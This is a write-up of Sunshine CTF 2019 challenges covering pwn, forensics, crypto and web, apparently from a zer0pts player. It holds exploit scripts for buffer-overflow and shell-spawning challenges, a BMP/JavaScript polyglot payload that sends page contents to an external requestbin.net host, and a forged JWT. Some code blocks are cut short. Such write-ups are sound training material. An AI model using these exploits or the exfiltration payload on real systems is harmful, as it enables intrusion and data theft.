Sunshine CTF 2019 Writeup

Sunshine CTF 2019 took place from 30 March, 9:00 AM to 31 March, 9:00 PM EST. I played this CTF in zer0pts and got 1350pts out of the 3255pts we gained.

Thanks @SunshineCTF for holding a CTF.

[Pwn 50] Return To Mania

Description: To celebrate her new return to wrestling, Captn Overflow authored this challenge to enter the ring
Server: nc ret.sunshinectf.org 4301
File: return-to-mania

It's a 32-bit binary with PIE enabled, SSP and RELRO disabled.

[*] '/home/ptr/sunshine/return_to_mania/return-to-mania'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

The program gives us the address for welcome function which is called by main. So, we can calculate the process base. In the function we can send as many bytes as we want through scanf. It's a simple buffer overflow. Also, there's a function named mania, which shows us the contents of flag.txt.

What we have to do is a simple overflow to return to mania.

from ptrlib import *

elf = ELF("./return-to-mania")
#sock = Process("./return-to-mania")
sock = Socket("ret.sunshinectf.org", 4301)

sock.recvuntil("welcome(): ")
addr_welcome = int(sock.recvline(), 16)
proc_base = addr_welcome - elf.symbol("welcome")
addr_mania = proc_base + elf.symbol("mania")
dump("proc_base = " + hex(proc_base))

payload = b'A' * 0x16
payload += p32(addr_mania)

[Pwn 200] CyberRumble

Description: Hey you! You're a hacker, right? So am I! Or, at least I thought I was. You see, I'm a big fan of The Undertaker, and I was trying to help him out. He's got an upcoming Hell in a Cell match against Mankind. I wrote some malware I named Undertaker C2 and infected the computers of Mankind's manager with it. The problem is that I accidentally used an old version of this malware, which was before I tested the code and got the bugs worked out. So none of the functionality seems to work! I also lost the source code for this malware. I'm in a real bind, because I need to get information off of that computer to see what Mankind is planning. Here's the malware implant I placed on his computer, please see if you can use it to retrieve any useful information!
Server: nc rumble.sunshinectf.org 4300
File: CyberRumble

It's a 64-bit binary with RELRO, SSP, PIE enabled.

$ checksec CyberRumble
[*] '/home/ptr/sunshine/cyber_rumble/CyberRumble'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

As I analysed the binary with IDA, I found that the program receives a command and an argument. There are some commands available.

Command Process
chokeslam arg puts a version info
tombstone filename opens a file, reads the contents with fscanf(fd, "%s", buf), and prints the buffer
oldschool shellcode writes the shellcode to the memory and makes it only readable, prints the address and runs it.
last_ride cmd calls system(*cmd) and exits
i_am_a_hacker_just_give_me_the_flag system("cat flag")

The contents of the flag is a dummy and it says the real flag is written in flag.txt. I tried tombstone flag.txt but only could see the first part of the flag. This is because the flag contains a whitespace and fscanf only reads until it comes.

It seems last_ride is tempting but it interprets the argument as a pointer (to a string pointer). However, we can store arbitrary data into heap by oldschool and get the pointer. So, what we have to do is oldschool A/bin/sh and oldschool &(/bin/sh). Just make sure not to send y or n when we are asked to run the shellcode. y executes the shellcode and the program exits because of the segmentation fault, and n unmaps the shellcode and the data will be lost. Also, make sure to put a byte before /bin/sh in order not to make the least byte of the address zero. This is because scanf doesn't read NULL and also we have to make the highest byte of the argument for oldschool zero.

from ptrlib import *

sock = Socket("rumble.sunshinectf.org", 4300)
#sock = Socket("", 4300)
#_ = input()

# cmd
shellcode = b"A" + b"sh"
sock.recvuntil("> ")
sock.sendline(b"old_school " + shellcode)
sock.recvuntil("written to ")
addr_shellcode = int(sock.recvline().rstrip().rstrip(b"."), 16)
sock.recvuntil("[y/n] ")
dump("addr_shellcode = " + hex(addr_shellcode))

# run
shellcmd = p64(addr_shellcode + 0x1)
shellcmd = shellcmd.replace(b'\x00', b'')
sock.recvuntil("> ")
sock.sendline(b"last_ride " + shellcmd)



$ python solve.py
[+] Socket: Successfully connected to rumble.sunshinectf.org:4300
[ptrlib] addr_shellcode = 0x7f7c53948000
[ptrlib]$ ls
[ptrlib]$ lsCyberRumble
cat flag.txt
[ptrlib]$ sun{the chair and thumbtacks are ready, but the roof is a little loose}

[Forensics 100] Golly Gee Willikers

Description: Someone sent me this weird file and I don't understand it. It's freaking me out, this isn't a game! Please help me figure out what's in this file.
File: golly_gee_willkers.txt

It's an ascii text.

x = 0, y = 0, rule = B3/S23

When I tried solving this challenge, @theoldmoon0602 had already found out this is an RLE for Game Of Life. I imported the RLE in this site but I just got an ascii table. (This site)http://www.conwaylife.com/wiki/Run_Length_Encoded explains well about the RLE format. It says:

Anything after the final ! is ignored.

The challenge file has ! in the middle, so the code after ! may be the flag. I copied the code after ! and imported it, found the flag.

[Forensics 250] Sonar

Description: We think a wrestler called Sonar wants to rebrand and go to a competitor. We have to reason to believe that he was sending them his new wrestling name, lucky that our next-gen firewall was capturing the traffic during the time where he sent that info out. Unfortunately our staff cannot make heads or tails of it. Mind looking at it for us?
File: sonar.tar.gz

I opened the pcap file and saw the protocol hierarchy. It seems there are HTTP, DNS, and ICMP packets mainly.


As I looked over the ICMP packets, I found the data were strange. The packet length of ICMP packets are different from those of each other. I guessed the length is the ascii code for the flag. I gathered the packet size and wrote a script to restore the flag.

size = [165, 167, 160, 173, 105, 135, 149, 122, 147, 145, 126, 99, 116, 164, 101, 175]

flag = ""
for s in size:
    flag += chr(s - 50)

[Misc 100] Big Bad

Description: The Big Bad Wolf has entered the ring. He can HUFF, he can puff, but can he blow this house down?
File: BigBad.png

The image is obviously a tree for Huffman code. However there is no encoded bytes.

As I opened the image in stegsolve, I found the LSB has the bytes. I wrote a script to decode the bytes.

from PIL import Image

img = Image.open("BigBad.png")

enc = ""
for x in range(img.size[0]):
    c = img.getpixel((x, 0))
    enc += str(c[0] & 1)

def huffmanDecode(dictionary, text):
    res = ""
    while text:
        for k in dictionary:
            if text.startswith(k):
                res += dictionary[k]
                text = text[len(k):]
    return res

table = {
    "000": "s",
    "0010": "u",
    "0011": "_",
    "010": "0",
    "0110": "d",
    "0111": "9",
    "1000": "5",
    "10010": "n",
    "10011": "h",
    "10100": "l",
    "10101": "a",
    "10110": "e",
    "10111": "b",
    "1100": "1",
    "11010": "{",
    "11011": "}",
    "11100": "r",
    "11101": "c",
    "11110": "k",
    "11111": "3"

print(huffmanDecode(table, enc))

[Misc 75] Middle Ocean

Description: I made a deal with Hulch Hogan (Hulk Hogan's brother) for a treasure map can you get the treaure for me?
File: treasure_map.txt

I had no idea what the file is.


I googled the first line and found this map.

OK, it's middle ocean and the latitude and the longitude are the ascii codes.

l = [83, 85, 78, 123, 77, 52, 57, 53, 45, 102, 52, 110, 33, 125]
flag = ""
for c in l:
    flag += chr(c)

[Misc 75] Brainmeat

Description: I am having a beef with someone that is so bad I cant even think! He sent me a message but I think he was having a stroke. Please decipher the message while I beat them up.
File: brainmeat.txt

The file contains some character such as +, [, >, which are used in the brackfuck language. I posted the file to an online interpreter and found the flag.

[Crypto 200] ArbCrypt

Description: It's pretty ARB-itrary. France0110.
File: ciphertext.txt

There are many A, R, B in the ciphertext.

$ cat ciphertext.txt | base64 -d | hexdump -C
00000000  04 17 04 0c 02 42 0c 13  08 03 15 07 03 78 10 07  |.....B.......x..|
00000010  11 17 0b 07 42 03 04 0f  0e 1c 42 19 13 0d 6b 06  |....B.....B...k.|
00000020  07 05 18 03 0d 07 0d 05  10 16 1b 16 42 00 1a 14  |............B...|
00000030  00 78 10 05 11 04 0f 02  10 0e 0b 42 0b 1f 03 15  |.x.........B....|
00000040  1e 11 6b 1c 0b 18 52 16  11 14 15 07 17 42 19 08  |..k...R......B..|
00000050  0f 04 10 11 0a 18 01 6b  16 12 15 14 11 02 02 06  |.......k........|
00000060  0d 04 42 17 1c 18 02 00  04 19 78 07 0e 18 11 0a  |..B.......x.....|
00000070  14 0c 0a 18 03 02 52 13  0d 00 16 15 08 06 41 17  |......R.......A.|
00000080  0d 14 00 10 41 1d 0b 19  1b 16 02 08 42 02 14 1a  |....A.......B...|

Maybe it's xored with ARB or something like that.

After a few attempts, I found the key was arb.

import base64

with open("ciphertext.txt", "rb") as f:
    b64 = f.read()

cipher = base64.b64decode(b64)

key = b"arb"

flag = ""
for i in range(len(cipher)):
    flag += chr(cipher[i] ^ key[i % len(key)])


But the output is still encoded in some ways.

$ python solve.py 
eefmp majbgeb
rfcuju bvmon xao
tedjaluodbtzd ahva
rdcfnproy jmatls
niy tpfwfe xzmebskjc
dptfscpdlv vnzcrfx
eojskfnkjac qlrttzd eourr oixitcz cfx

drnn aftkjsfo gfpdsze kirfvgy
fvvsykiieh cvotvs wyp
sgjdvsy tpntvbzoe
gblv mitlikz-sgmik sedprjf
vzuadjn rgtvs ffscv
blifauz nvttve hlnae xief

I tried some substitution ciphers and found it was encrypted with the Vigenere cipher. This site solved it.

enemy lasagna
robust below wax
semiautomatic aqua
accompany slacks
why coffee gymnastic
motorcycle unibrow
existential plastic extra nightly cow

damn jettison goodbye through
everything center who
spidery concubine
pale lickity-split remorse
vitamin after force
already nested human wine

[Web 300] Enter The Polygon 2

Description: The Undertaker is piledriving our old authz for some J. You're going to need to finish the first challenge if you wanna smell what the rock is cooking.
URL: http://img.sunshinectf.org

A team member @st98 had already solved Enter The Polygon 1 and he wrote a useful script to generate an image to run a code.

HEADER = b'\x42\x4D\x2F\x2A\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00\x32\x00\x00\x00\x32\x00\x00\x00\x01\x00\x18\x00\x00\x00\x00\x00\xB0\x1D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SCRIPT = b'''*/=1;
x=new XMLHttpRequest();
x.open('GET', path, false);
(new Image).src = 'http://requestbin.net/r/18a2by31?hoge=' + encodeURIComponent(x.responseText);
/*'''.replace(b"\n", b"")

with open('result.bmp', 'wb') as f:
    f.write(b'A' * (7652 - (len(HEADER) + len(SCRIPT))) + b'*/')

Also, he found there was a JWT session like this:


This is used in /admin page. He also uncovered that it accesses to the sig url if sig contains a word nginx.

So, I began with such a plentiful clues. I guessed that it downloads sig url and uses it as a key for the JWT signature. I uploaded a key to my server and signed my session with the key. Also, I changed the role to admin.

import base64
import jwt

payload = {

encoded = jwt.encode(payload, key=base64.b64encode(b"A" * 32), algorithm='HS256')

I accessed to /admin with the session set and found the flag.